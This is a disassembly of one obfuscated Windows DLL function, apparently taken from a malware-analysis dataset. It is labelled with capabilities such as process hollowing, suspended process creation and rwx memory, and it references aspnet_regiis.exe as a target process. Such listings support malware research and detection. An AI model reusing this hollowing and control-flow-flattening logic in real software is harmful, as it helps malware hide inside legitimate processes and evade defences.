Function at 0x10008d20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x174
mov eax, dword [0x10076e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x17c], 0xae5ee155
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
sub eax, 0x80929361
je 0x100102cc
jmp 0x10008d5c
mov eax, dword [ebp - 0x180]
sub eax, 0x81a2d6bd
je 0x10013da4
jmp 0x10008d72
mov eax, dword [ebp - 0x180]
sub eax, 0x82cb7e77
je 0x10010068
jmp 0x10008d88
mov eax, dword [ebp - 0x180]
sub eax, 0x82f27054
je 0x1000e2bd
jmp 0x10008d9e
mov eax, dword [ebp - 0x180]
sub eax, 0x836a3a8e
je 0x100141b1
jmp 0x10008db4
mov eax, dword [ebp - 0x180]
sub eax, 0x83f67994
je 0x1000ed60
jmp 0x10008dca
mov eax, dword [ebp - 0x180]
sub eax, 0x8412da4f
je 0x10015221
jmp 0x10008de0
mov eax, dword [ebp - 0x180]
sub eax, 0x84381836
je 0x10014ecc
jmp 0x10008df6
mov eax, dword [ebp - 0x180]
sub eax, 0x844450cb
je 0x100136d5
jmp 0x10008e0c
mov eax, dword [ebp - 0x180]
sub eax, 0x84ee83a3
je 0x100115af
jmp 0x10008e22
mov eax, dword [ebp - 0x180]
sub eax, 0x85428ceb
je 0x1001125f
jmp 0x10008e38
mov eax, dword [ebp - 0x180]
sub eax, 0x8564b209
je 0x100103d3
jmp 0x10008e4e
mov eax, dword [ebp - 0x180]
sub eax, 0x85bd4853
je 0x100152cc
jmp 0x10008e64
mov eax, dword [ebp - 0x180]
sub eax, 0x85da8fc6
je 0x1000e3fb
jmp 0x10008e7a
mov eax, dword [ebp - 0x180]
sub eax, 0x861f08f4
je 0x1000d4ec
jmp 0x10008e90
mov eax, dword [ebp - 0x180]
sub eax, 0x86b042d9
je 0x10010f48
jmp 0x10008ea6
mov eax, dword [ebp - 0x180]
sub eax, 0x86d53d0f
je 0x10013e4d
jmp 0x10008ebc
mov eax, dword [ebp - 0x180]
sub eax, 0x86fb5153
je 0x100124ba
jmp 0x10008ed2
mov eax, dword [ebp - 0x180]
sub eax, 0x8707514f
je 0x10012c22
jmp 0x10008ee8
mov eax, dword [ebp - 0x180]
sub eax, 0x87ecd5d7
je 0x1000fc9e
jmp 0x10008efe
mov eax, dword [ebp - 0x180]
sub eax, 0x8913283b
je 0x1000cd4d
jmp 0x10008f14
mov eax, dword [ebp - 0x180]
sub eax, 0x8a70737e
je 0x1000dad7
jmp 0x10008f2a
mov eax, dword [ebp - 0x180]
sub eax, 0x8aaaac5b
je 0x10014870
jmp 0x10008f40
mov eax, dword [ebp - 0x180]
sub eax, 0x8b3c33b1
je 0x10014812
jmp 0x10008f56
mov eax, dword [ebp - 0x180]
sub eax, 0x8b488bdb
je 0x100135ac
jmp 0x10008f6c
mov eax, dword [ebp - 0x180]
sub eax, 0x8bf5432f
je 0x100123ef
jmp 0x10008f82
mov eax, dword [ebp - 0x180]
sub eax, 0x8c146c2d
je 0x10014dd3
jmp 0x10008f98
mov eax, dword [ebp - 0x180]
sub eax, 0x8c3d48c4
je 0x10012291
jmp 0x10008fae
mov eax, dword [ebp - 0x180]
sub eax, 0x8c6001c1
je 0x1001529d
jmp 0x10008fc4
mov eax, dword [ebp - 0x180]
sub eax, 0x8d1badf7
je 0x10014f76
jmp 0x10008fda
mov eax, dword [ebp - 0x180]
sub eax, 0x8d3983d4
je 0x1000dcc7
jmp 0x10008ff0
mov eax, dword [ebp - 0x180]
sub eax, 0x8dfff4ae
je 0x1000d63c
jmp 0x10009006
mov eax, dword [ebp - 0x180]
sub eax, 0x8e5f6f37
je 0x1000c8b3
jmp 0x1000901c
mov eax, dword [ebp - 0x180]
sub eax, 0x8e78c5ff
je 0x100143f2
jmp 0x10009032
mov eax, dword [ebp - 0x180]
sub eax, 0x8ed66cb6
je 0x1000db9e
jmp 0x10009048
mov eax, dword [ebp - 0x180]
sub eax, 0x8ed98974
je 0x1000ca7c
jmp 0x1000905e
mov eax, dword [ebp - 0x180]
sub eax, 0x912be845
je 0x100143c4
jmp 0x10009074
mov eax, dword [ebp - 0x180]
sub eax, 0x91397566
je 0x1000ff27
jmp 0x1000908a
mov eax, dword [ebp - 0x180]
sub eax, 0x926c23f5
je 0x1000c99e
jmp 0x100090a0
mov eax, dword [ebp - 0x180]
sub eax, 0x92c6bb9b
je 0x1000fb7a
jmp 0x100090b6
mov eax, dword [ebp - 0x180]
sub eax, 0x92d59856
je 0x1000fdcf
jmp 0x100090cc
mov eax, dword [ebp - 0x180]
sub eax, 0x943d1081
je 0x1000e83d
jmp 0x100090e2
mov eax, dword [ebp - 0x180]
sub eax, 0x94a74f04
je 0x1000d6f2
jmp 0x100090f8
mov eax, dword [ebp - 0x180]
sub eax, 0x952d765f
je 0x100133c7
jmp 0x1000910e
mov eax, dword [ebp - 0x180]
sub eax, 0x95d05d2c
je 0x10014ba7
jmp 0x10009124
mov eax, dword [ebp - 0x180]
sub eax, 0x9626c3d1
je 0x10012a21
jmp 0x1000913a
mov eax, dword [ebp - 0x180]
sub eax, 0x9648b957
je 0x10013048
jmp 0x10009150
mov eax, dword [ebp - 0x180]
sub eax, 0x966bbdb0
je 0x10015366
jmp 0x10009166
mov eax, dword [ebp - 0x180]
sub eax, 0x967f6d22
je 0x10015011
jmp 0x1000917c
mov eax, dword [ebp - 0x180]
sub eax, 0x96cd8a97
je 0x10014f39
jmp 0x10009192
mov eax, dword [ebp - 0x180]
sub eax, 0x9737e14d
je 0x1000dfdf
jmp 0x100091a8
mov eax, dword [ebp - 0x180]
sub eax, 0x97b1cb47
je 0x100127f5
jmp 0x100091be
mov eax, dword [ebp - 0x180]
sub eax, 0x97b359a0
je 0x10015202
jmp 0x100091d4
mov eax, dword [ebp - 0x180]
sub eax, 0x988bb1ba
je 0x10010434
jmp 0x100091ea
mov eax, dword [ebp - 0x180]
sub eax, 0x991c282d
je 0x1001381d
jmp 0x10009200
mov eax, dword [ebp - 0x180]
sub eax, 0x99797258
je 0x10012d4c
jmp 0x10009216
mov eax, dword [ebp - 0x180]
sub eax, 0x99e48452
je 0x1001249b
jmp 0x1000922c
mov eax, dword [ebp - 0x180]
sub eax, 0x99fd0a47
je 0x100146b6
jmp 0x10009242
mov eax, dword [ebp - 0x180]
sub eax, 0x9a7ed354
je 0x1000dd9d
jmp 0x10009258
mov eax, dword [ebp - 0x180]
sub eax, 0x9b6b0a9c
je 0x10010213
jmp 0x1000926e
mov eax, dword [ebp - 0x180]
sub eax, 0x9bb2a6aa
je 0x10014e9e
jmp 0x10009284
mov eax, dword [ebp - 0x180]
sub eax, 0x9be09f43
je 0x10010ed2
jmp 0x1000929a
mov eax, dword [ebp - 0x180]
sub eax, 0x9cdbbaa5
je 0x1000cdf9
jmp 0x100092b0
mov eax, dword [ebp - 0x180]
sub eax, 0x9d16bce6
je 0x1000e156
jmp 0x100092c6
mov eax, dword [ebp - 0x180]
sub eax, 0x9d36e867
je 0x1000e1b1
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x267038c7
mov ecx, 0xe511ee06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov eax, dword [0x10078128]
mov ecx, dword [0x10078124]
mov edx, eax
add edx, 0x9c77f475
sub edx, 1
sub edx, 0x9c77f475
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9ca103e
mov ecx, 0x4811258b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov dl, 1
mov eax, 0x49ccde7b
mov ecx, 0x4397e975
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x100224d0]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x10078128]
mov ecx, dword [0x10078124]
mov edx, eax
sub edx, 0xa6271561
sub edx, 1
add edx, 0xa6271561
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x437850bf
mov ecx, 0xf0cced5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcab258ff
mov ecx, 0x275c29d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x10022794]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0x45028fe7
jmp 0x100155ad
movss xmm0, dword [0x10022784]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x10022780]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x17c], 0x1975d888
jmp 0x100155ad
movss xmm0, dword [0x100224c0]
movss dword [ebp - 0x12c], xmm0
mov eax, dword [0x10078128]
mov ecx, dword [0x10078124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0cb8d7b
mov ecx, 0xbbc4b89f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x95d05d2c
mov ecx, 0x517e8bb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov dword [ebp - 0x17c], 0xe3edda37
jmp 0x100155ad
movss xmm0, dword [0x10022754]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x17c], 0x12631104
jmp 0x100155ad
movss xmm0, dword [0x1002273c]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x17c], 0xd791911d
jmp 0x100155ad
movss xmm0, dword [0x10022734]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x17c], 0xe70f1a88
jmp 0x100155ad
movss xmm0, dword [0x10022724]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x17c], 0xd98b7e7f
jmp 0x100155ad
movss xmm0, dword [0x10022714]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x17c], 0xd96f3c8b
jmp 0x100155ad
movss xmm0, dword [0x100224a4]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x100224a0]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x10078128]
mov ecx, dword [0x10078124]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4e226bb4
mov ecx, 0xf8840d2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x100226d8]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100226d4]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x100226d0]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x17c], 0x9f65884b
jmp 0x100155ad
movss xmm0, dword [0x100226bc]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x17c], 0xd5f75802
jmp 0x100155ad
movss xmm0, dword [0x10022670]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x1002266c]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x17c], 0x2c6226dc
jmp 0x100155ad
mov dl, 1
mov eax, 0x5735af88
mov ecx, 0x7f20b2cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x10022664]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x17c], 0x4bf1d753
jmp 0x100155ad
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
mov edx, ecx
add edx, 0xb3a9a048
sub edx, 1
sub edx, 0xb3a9a048
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd0a7dcb0
mov ecx, 0x1a528215
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x10022640]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x1002263c]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x17c], 0x330c155b
jmp 0x100155ad
movss xmm0, dword [0x10022628]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10022624]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x17c], 0x692ed7af
jmp 0x100155ad
movss xmm0, dword [0x10022610]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x17c], 0x260679c9
jmp 0x100155ad
movss xmm0, dword [0x10022440]
movss dword [ebp - 0x148], xmm0
mov eax, dword [0x10078128]
mov ecx, dword [0x10078124]
mov edx, eax
add edx, 0x52bb87a3
sub edx, 1
sub edx, 0x52bb87a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96cd8a97
mov ecx, 0x988bb1ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov dword [ebp - 0x17c], 0x36aa5402
jmp 0x100155ad
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
mov edx, ecx
add edx, 0xee5c0106
sub edx, 1
sub edx, 0xee5c0106
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x28ccee1
mov ecx, 0x86b042d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x10022420]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x1002241c]
movss dword [ebp - 0x150], xmm0
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
mov edx, ecx
sub edx, 0x5b596fd5
sub edx, 1
add edx, 0x5b596fd5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x28ccee1
mov ecx, 0x5f1f9044
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov dword [ebp - 0x17c], 0xaff1fa3a
jmp 0x100155ad
movss xmm0, dword [0x10022578]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x17c], 0x33985ff9
jmp 0x100155ad
mov dword [ebp - 0x17c], 0x74ef1ac2
jmp 0x100155ad
mov eax, dword [0x10078128]
mov ecx, dword [0x10078124]
mov edx, eax
add edx, 0x9672381a
sub edx, 1
sub edx, 0x9672381a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2848db7
mov ecx, 0x6083602c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x10022524]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x17c], 0x86fb5153
jmp 0x100155ad
mov dl, 1
mov eax, 0xe8f215c0
mov ecx, 0x57cb8d3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x100223c8]
movss dword [ebp - 0x15c], xmm0
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
mov edx, ecx
sub edx, 0xef66a9a4
sub edx, 1
add edx, 0xef66a9a4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x85bd4853
mov ecx, 0xaeb9f03f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
mov edx, ecx
sub edx, 0x3748c626
sub edx, 1
add edx, 0x3748c626
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x610db5b7
mov ecx, 0x6ac14f88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x10022500]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x17c], 0x33dd071d
jmp 0x100155ad
mov dl, 1
mov eax, 0x2019f402
mov ecx, 0x5526066d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov dl, 1
mov eax, 0x789ed336
mov ecx, 0xc499d30a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x17c], 0x49064a77
jmp 0x100155ad
mov edx, dword [ebp - 0xd0]
mov eax, 0x8b3c33b1
mov ecx, 0x4debc197
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov dword [ebp - 0x17c], 0x301e2b0e
jmp 0x100155ad
mov dword [ebp - 0x17c], 0x2723b21f
jmp 0x100155ad
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
sub ecx, 0xabf8df2f
add ecx, 1
add ecx, 0xabf8df2f
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x17c], 0x2a7f7ec0
jmp 0x100155ad
mov eax, dword [0x10078128]
mov ecx, dword [0x10078124]
mov edx, eax
add edx, 0xbb6b776
sub edx, 1
sub edx, 0xbb6b776
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf588dd28
mov ecx, 0x2ae85e29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x89], al
mov dword [ebp - 0x17c], 0xeb691a6f
jmp 0x100155ad
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
sub ecx, 0xfdc33b31
add ecx, 1
add ecx, 0xfdc33b31
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x17c], 0x8e78c5ff
jmp 0x100155ad
mov dword [ebp - 0x17c], 0x836a3a8e
jmp 0x100155ad
mov dword [ebp - 0x17c], 0x46e5fc2
jmp 0x100155ad
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x17c], 0x5790b49b
jmp 0x100155ad
mov eax, dword [ebp - 0x68]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10078128]
mov eax, dword [0x10078124]
mov edx, ecx
add edx, 0x711921a8
sub edx, 1
sub edx, 0x711921a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x67245a8e
mov ecx, 0xd2843953
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x100155ad
movss xmm0, dword [0x100224b4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x17c], 0x517e8bb5
jmp 0x100155ad
movss xmm0, dword [0x10022474]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x10022470]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x17c], 0xd3f79844
jmp 0x100155ad
mov dword [ebp - 0x17c], 0xb9ae9233
jmp 0x100155ad
movss xmm0, dword [0x10022450]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x1002244c]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x17c], 0xfeb87e0e
jmp 0x100155ad
movss xmm0, dword [0x10022440]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x17c], 0x8564b209
jmp 0x100155ad
movss xmm0, dword [0x1002243c]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x17c], 0xe86327fd
jmp 0x100155ad
movss xmm0, dword [0x10022428]
movss dword [ebp - 0x150], xmm0
movss xmm0, dword [0x10022424]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x17c], 0x7a6b801b
jmp 0x100155ad
movss xmm0, dword [0x100223e4]
movss dword [ebp - 0x158], xmm0
mov dword [ebp - 0x17c], 0xf643b4fe
jmp 0x100155ad
mov dword [ebp - 0x17c], 0x34b14dbb
jmp 0x100155ad
movss xmm0, dword [0x100223d0]
movss dword [ebp - 0x15c], xmm0
movss xmm0, dword [0x100223cc]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x17c], 0x54de436a
jmp 0x100155ad
movss xmm0, dword [0x100223c8]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x17c], 0x97b1cb47
jmp 0x100155ad
movss xmm0, dword [0x100223b8]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x17c], 0x6628af9d
jmp 0x100155ad
jmp 0x10008d40